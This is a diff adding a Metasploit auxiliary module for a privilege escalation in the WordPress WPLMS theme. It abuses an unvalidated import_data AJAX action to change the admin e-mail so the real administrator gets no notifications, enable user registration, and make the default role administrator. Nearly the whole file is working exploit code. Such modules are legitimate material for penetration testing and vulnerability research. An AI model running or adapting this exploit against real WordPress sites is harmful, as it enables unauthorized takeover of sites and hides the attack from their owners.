|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + include Msf::HTTP::Wordpress |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info( |
| 13 | + info, |
| 14 | + 'Name' => 'WordPress WPLMS Theme Privilege Escalation', |
| 15 | + 'Description' => %q{ |
| 16 | + The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of |
| 17 | + any user level to set any system option via a lack of validation in the import_data function |
| 18 | + of /includes/func.php. |
| 19 | +
|
| 20 | + The module first changes the admin e-mail address to prevent any |
| 21 | + notifications being sent to the actual administrator during the attack, re-enables user |
| 22 | + registration in case it has been disabled and sets the default role to be administrator. |
| 23 | + This will allow for the user to create a new account with admin privileges via the default |
| 24 | + registration page found at /wp-login.php?action=register. |
| 25 | + }, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Evex', # Vulnerability discovery |
| 29 | + 'Rob Carr <rob[at]rastating.com>' # Metasploit module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['WPVDB', '7785'] |
| 35 | + ], |
| 36 | + 'DisclosureDate' => 'Feb 09 2015' |
| 37 | + )) |
| 38 | + |
| 39 | + register_options( |
| 40 | + [ |
| 41 | + OptString.new('USERNAME', [false, 'The WordPress username to authenticate with']), |
| 42 | + OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with']) |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + def check |
| 47 | + check_theme_version_from_style('wplms', '1.8.4.2', '1.5.2') |
| 48 | + end |
| 49 | + |
| 50 | + def username |
| 51 | + datastore['USERNAME'] |
| 52 | + end |
| 53 | + |
| 54 | + def password |
| 55 | + datastore['PASSWORD'] |
| 56 | + end |
| 57 | + |
| 58 | + def php_serialize(value) |
| 59 | + # Only strings and numbers are required by this module |
| 60 | + case value |
| 61 | + when String, Symbol |
| 62 | + "s:#{value.bytesize}:\"#{value}\";" |
| 63 | + when Fixnum |
| 64 | + "i:#{value};" |
| 65 | + end |
| 66 | + end |
| 67 | + |
| 68 | + def serialize_and_encode(value) |
| 69 | + serialized_value = php_serialize(value) |
| 70 | + unless serialized_value.nil? |
| 71 | + Rex::Text.encode_base64(serialized_value) |
| 72 | + end |
| 73 | + end |
| 74 | + |
| 75 | + def set_wp_option(name, value, cookie) |
| 76 | + encoded_value = serialize_and_encode(value) |
| 77 | + if encoded_value.nil? |
| 78 | + vprint_error("#{peer} - Failed to serialize #{value}.") |
| 79 | + else |
| 80 | + res = send_request_cgi( |
| 81 | + 'method' => 'POST', |
| 82 | + 'uri' => wordpress_url_admin_ajax, |
| 83 | + 'vars_get' => { 'action' => 'import_data' }, |
| 84 | + 'vars_post' => { 'name' => name, 'code' => encoded_value }, |
| 85 | + 'cookie' => cookie |
| 86 | + ) |
| 87 | + |
| 88 | + if res.nil? |
| 89 | + vprint_error("#{peer} - No response from the target.") |
| 90 | + else |
| 91 | + vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200 |
| 92 | + end |
| 93 | + |
| 94 | + return res |
| 95 | + end |
| 96 | + end |
| 97 | + |
| 98 | + def run |
| 99 | + print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") |
| 100 | + cookie = wordpress_login(username, password) |
| 101 | + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? |
| 102 | + print_good("#{peer} - Authenticated with WordPress") |
| 103 | + |
| 104 | + new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com" |
| 105 | + print_status("#{peer} - Changing admin e-mail address to #{new_email}...") |
| 106 | + if set_wp_option('admin_email', new_email, cookie).nil? |
| 107 | + fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') |
| 108 | + end |
| 109 | + |
| 110 | + print_status("#{peer} - Enabling user registrations...") |
| 111 | + if set_wp_option('users_can_register', 1, cookie).nil? |
| 112 | + fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') |
| 113 | + end |
| 114 | + |
| 115 | + print_status("#{peer} - Setting the default user role...") |
| 116 | + if set_wp_option('default_role', 'administrator', cookie).nil? |
| 117 | + fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') |
| 118 | + end |
| 119 | + |
| 120 | + register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register') |
| 121 | + print_good("#{peer} - Privilege escalation complete") |
| 122 | + print_good("#{peer} - Create a new account at #{register_url} to gain admin access.") |
| 123 | + end |
| 124 | +end |
0 commit comments